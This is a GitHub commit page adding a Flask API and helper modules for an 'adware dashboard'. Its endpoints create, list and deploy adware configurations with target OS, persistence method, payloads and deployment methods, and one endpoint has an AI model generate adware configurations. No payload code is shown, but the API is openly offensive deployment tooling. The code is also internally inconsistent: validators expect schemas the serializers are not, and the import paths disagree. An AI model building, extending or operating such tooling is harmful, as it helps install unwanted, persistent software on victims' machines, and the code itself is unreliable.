Skip to content

Commit c7ee8c1

Browse files
dsas
1 parent c65acbb commit c7ee8c1

File tree

25 files changed

+4345
-0
lines changed

25 files changed

+4345
-0
lines changed
File renamed without changes.
Lines changed: 199 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,199 @@
1+
import logging
2+
from flask import Flask, request, jsonify
3+
from src.adware_manager import AdwareManager
4+
from src.adware_dashboard.core.payload_manager import PayloadManager
5+
from src.adware_dashboard.core.deployment_manager import DeploymentManager
6+
from src.adware_dashboard.core.ai_integration import AIIntegration
7+
from src.adware_dashboard.models import Adware, Payload, DeploymentMethod
8+
from src.adware_dashboard.api.serializers import AdwareSerializer, PayloadSerializer, DeploymentMethodSerializer
9+
from src.adware_dashboard.api.utils import validate_input
10+
import agent_zero
11+
12+
def create_api_app(logger: logging.Logger, adware_manager: AdwareManager, payload_manager: PayloadManager, deployment_manager: DeploymentManager, ai_integration: AIIntegration) -> Flask:
13+
"""
14+
Creates and configures the Flask API application.
15+
16+
Args:
17+
logger (logging.Logger): The logger instance to use.
18+
adware_manager (AdwareManager): The adware manager instance.
19+
payload_manager (PayloadManager): The payload manager instance.
20+
deployment_manager (DeploymentManager): The deployment manager instance.
21+
ai_integration (AIIntegration): The AI integration instance.
22+
23+
Returns:
24+
Flask: The configured Flask application.
25+
"""
26+
app = Flask(__name__)
27+
28+
@app.route('/adware', methods=['POST'])
29+
@validate_input(AdwareSerializer)
30+
def create_adware():
31+
"""
32+
Creates a new adware configuration.
33+
"""
34+
data = request.get_json()
35+
try:
36+
payload = payload_manager.get_payload(data['payload_id'])
37+
if not payload:
38+
logger.error(f"Payload with ID {data['payload_id']} not found.")
39+
return jsonify({'error': f"Payload with ID {data['payload_id']} not found."}), 400
40+
41+
deployment_method = deployment_manager.get_deployment_method(data['deployment_method_id'])
42+
if not deployment_method:
43+
logger.error(f"Deployment method with ID {data['deployment_method_id']} not found.")
44+
return jsonify({'error': f"Deployment method with ID {data['deployment_method_id']} not found."}), 400
45+
46+
adware = adware_manager.create_adware(
47+
name=data['name'],
48+
description=data['description'],
49+
target_os=data['target_os'],
50+
persistence_method=data['persistence_method'],
51+
payload_id=data['payload_id'],
52+
deployment_method_id=data['deployment_method_id'],
53+
config=data['config']
54+
)
55+
return jsonify(AdwareSerializer.serialize(adware)), 201
56+
except ValueError as e:
57+
logger.error(f"Error creating adware: {str(e)}")
58+
return jsonify({'error': str(e)}), 400
59+
except Exception as e:
60+
logger.error(f"Unexpected error: {str(e)}")
61+
return jsonify({'error': 'An unexpected error occurred'}), 500
62+
63+
@app.route('/adware/<int:adware_id>', methods=['GET'])
64+
def get_adware(adware_id):
65+
"""
66+
Retrieves an adware configuration by its ID.
67+
"""
68+
adware = adware_manager.get_adware(adware_id)
69+
if adware:
70+
return jsonify(AdwareSerializer.serialize(adware)), 200
71+
logger.warning(f"Adware with ID {adware_id} not found.")
72+
return jsonify({'error': 'Adware not found'}), 404
73+
74+
@app.route('/adware/<int:adware_id>', methods=['PUT'])
75+
@validate_input(AdwareSerializer, partial=True)
76+
def update_adware(adware_id):
77+
"""
78+
Updates an existing adware configuration.
79+
"""
80+
data = request.get_json()
81+
try:
82+
adware = adware_manager.update_adware(adware_id, **data)
83+
if adware:
84+
return jsonify(AdwareSerializer.serialize(adware)), 200
85+
logger.warning(f"Adware with ID {adware_id} not found.")
86+
return jsonify({'error': 'Adware not found'}), 404
87+
except ValueError as e:
88+
logger.error(f"Error updating adware: {str(e)}")
89+
return jsonify({'error': str(e)}), 400
90+
except Exception as e:
91+
logger.error(f"Unexpected error: {str(e)}")
92+
return jsonify({'error': 'An unexpected error occurred'}), 500
93+
94+
@app.route('/adware/<int:adware_id>', methods=['DELETE'])
95+
def delete_adware(adware_id):
96+
"""
97+
Deletes an adware configuration by its ID.
98+
"""
99+
try:
100+
if adware_manager.delete_adware(adware_id):
101+
return jsonify({'message': 'Adware deleted successfully'}), 200
102+
logger.warning(f"Adware with ID {adware_id} not found.")
103+
return jsonify({'error': 'Adware not found'}), 404
104+
except Exception as e:
105+
logger.error(f"Error deleting adware: {str(e)}")
106+
return jsonify({'error': 'An unexpected error occurred'}), 500
107+
108+
@app.route('/adware', methods=['GET'])
109+
def list_adware():
110+
"""
111+
Lists all adware configurations.
112+
"""
113+
try:
114+
adware_list = adware_manager.list_adware()
115+
return jsonify([AdwareSerializer.serialize(adware) for adware in adware_list]), 200
116+
except Exception as e:
117+
logger.error(f"Error listing adware: {str(e)}")
118+
return jsonify({'error': 'An unexpected error occurred'}), 500
119+
120+
@app.route('/adware/<int:adware_id>/deploy', methods=['POST'])
121+
def deploy_adware(adware_id):
122+
"""
123+
Deploys an adware configuration.
124+
"""
125+
try:
126+
if adware_manager.deploy_adware(adware_id):
127+
return jsonify({'message': 'Adware deployed successfully'}), 200
128+
logger.warning(f"Adware with ID {adware_id} not found or deployment failed.")
129+
return jsonify({'error': 'Adware not found or deployment failed'}), 404
130+
except Exception as e:
131+
logger.error(f"Error deploying adware: {str(e)}")
132+
return jsonify({'error': 'An unexpected error occurred'}), 500
133+
134+
@app.route('/payloads', methods=['GET'])
135+
def list_payloads():
136+
"""
137+
Lists all available payloads.
138+
"""
139+
try:
140+
payload_list = payload_manager.list_payloads()
141+
return jsonify([PayloadSerializer.serialize(payload) for payload in payload_list]), 200
142+
except Exception as e:
143+
logger.error(f"Error listing payloads: {str(e)}")
144+
return jsonify({'error': 'An unexpected error occurred'}), 500
145+
146+
@app.route('/deployment_methods', methods=['GET'])
147+
def list_deployment_methods():
148+
"""
149+
Lists all available deployment methods.
150+
"""
151+
try:
152+
deployment_method_list = deployment_manager.list_deployment_methods()
153+
return jsonify([DeploymentMethodSerializer.serialize(deployment_method) for deployment_method in deployment_method_list]), 200
154+
except Exception as e:
155+
logger.error(f"Error listing deployment methods: {str(e)}")
156+
return jsonify({'error': 'An unexpected error occurred'}), 500
157+
158+
@app.route('/ai/generate', methods=['POST'])
159+
@validate_input(AdwareSerializer)
160+
def generate_ai_config():
161+
"""
162+
Generates an adware configuration using the AI model.
163+
"""
164+
data = request.get_json()
165+
try:
166+
config = ai_integration.generate_adware_config(data['goal'], data.get('constraints'))
167+
return jsonify(config), 200
168+
except ValueError as e:
169+
logger.error(f"Error generating AI config: {str(e)}")
170+
return jsonify({'error': str(e)}), 400
171+
except Exception as e:
172+
logger.error(f"Unexpected error: {str(e)}")
173+
return jsonify({'error': 'An unexpected error occurred'}), 500
174+
175+
@app.route('/agent_zero/initialize', methods=['POST'])
176+
def initialize_agent_zero():
177+
"""
178+
Initializes Agent Zero.
179+
"""
180+
try:
181+
agent_zero.initialize()
182+
return jsonify({'message': 'Agent Zero initialized successfully'}), 200
183+
except Exception as e:
184+
logger.error(f"Error initializing Agent Zero: {str(e)}")
185+
return jsonify({'error': 'An unexpected error occurred'}), 500
186+
187+
@app.route('/agent_zero/status', methods=['GET'])
188+
def get_agent_zero_status():
189+
"""
190+
Retrieves the status of Agent Zero.
191+
"""
192+
try:
193+
status = agent_zero.get_status()
194+
return jsonify(status), 200
195+
except Exception as e:
196+
logger.error(f"Error retrieving Agent Zero status: {str(e)}")
197+
return jsonify({'error': 'An unexpected error occurred'}), 500
198+
199+
return app
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
from typing import Dict, Any
2+
import json
3+
from adware_dashboard.models import Adware, Payload, DeploymentMethod
4+
5+
class AdwareSerializer:
6+
@staticmethod
7+
def serialize(adware: Adware) -> Dict[str, Any]:
8+
"""
9+
Serializes an Adware object to a dictionary.
10+
11+
Args:
12+
adware (Adware): The Adware object to serialize.
13+
14+
Returns:
15+
Dict[str, Any]: The serialized dictionary.
16+
"""
17+
return {
18+
'id': adware.id,
19+
'name': adware.name,
20+
'description': adware.description,
21+
'target_os': adware.target_os,
22+
'persistence_method': adware.persistence_method,
23+
'payload_id': adware.payload.id,
24+
'deployment_method_id': adware.deployment_method.id,
25+
'config': json.loads(adware.config) if adware.config else None
26+
}
27+
28+
@staticmethod
29+
def deserialize(data: Dict[str, Any]) -> Dict[str, Any]:
30+
"""
31+
Deserializes data to a dictionary suitable for creating or updating an Adware object.
32+
33+
Args:
34+
data (Dict[str, Any]): The data to deserialize.
35+
36+
Returns:
37+
Dict[str, Any]: The deserialized dictionary.
38+
"""
39+
return {
40+
'name': data.get('name'),
41+
'description': data.get('description'),
42+
'target_os': data.get('target_os'),
43+
'persistence_method': data.get('persistence_method'),
44+
'payload_id': data.get('payload_id'),
45+
'deployment_method_id': data.get('deployment_method_id'),
46+
'config': json.dumps(data.get('config')) if data.get('config') else None
47+
}
48+
49+
class PayloadSerializer:
50+
@staticmethod
51+
def serialize(payload: Payload) -> Dict[str, Any]:
52+
"""
53+
Serializes a Payload object to a dictionary.
54+
55+
Args:
56+
payload (Payload): The Payload object to serialize.
57+
58+
Returns:
59+
Dict[str, Any]: The serialized dictionary.
60+
"""
61+
return {
62+
'id': payload.id,
63+
'name': payload.name,
64+
'description': payload.description,
65+
'file_path': payload.file_path
66+
}
67+
68+
class DeploymentMethodSerializer:
69+
@staticmethod
70+
def serialize(deployment_method: DeploymentMethod) -> Dict[str, Any]:
71+
"""
72+
Serializes a DeploymentMethod object to a dictionary.
73+
74+
Args:
75+
deployment_method (DeploymentMethod): The DeploymentMethod object to serialize.
76+
77+
Returns:
78+
Dict[str, Any]: The serialized dictionary.
79+
"""
80+
return {
81+
'id': deployment_method.id,
82+
'name': deployment_method.name,
83+
'description': deployment_method.description,
84+
'config_schema': json.loads(deployment_method.config_schema) if deployment_method.config_schema else None
85+
}
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
from functools import wraps
2+
from flask import request, jsonify
3+
from typing import Callable, Type
4+
from marshmallow import Schema, ValidationError
5+
6+
def validate_input(serializer: Type[Schema], partial: bool = False) -> Callable:
7+
"""
8+
Validates the input data using a Marshmallow serializer.
9+
10+
Args:
11+
serializer (Type[Schema]): The Marshmallow serializer to use.
12+
partial (bool, optional): Whether to allow partial updates. Defaults to False.
13+
14+
Returns:
15+
Callable: The decorated function.
16+
"""
17+
def decorator(func):
18+
@wraps(func)
19+
def wrapper(*args, **kwargs):
20+
try:
21+
data = request.get_json()
22+
if not data:
23+
return jsonify({'error': 'No input data provided'}), 400
24+
deserialized_data = serializer().load(data, partial=partial)
25+
request.deserialized_data = deserialized_data
26+
return func(*args, **kwargs)
27+
except ValidationError as e:
28+
return jsonify({'error': str(e)}), 400
29+
except Exception as e:
30+
return jsonify({'error': 'Invalid input data'}), 400
31+
return wrapper
32+
return decorator

0 commit comments

Comments
 (0)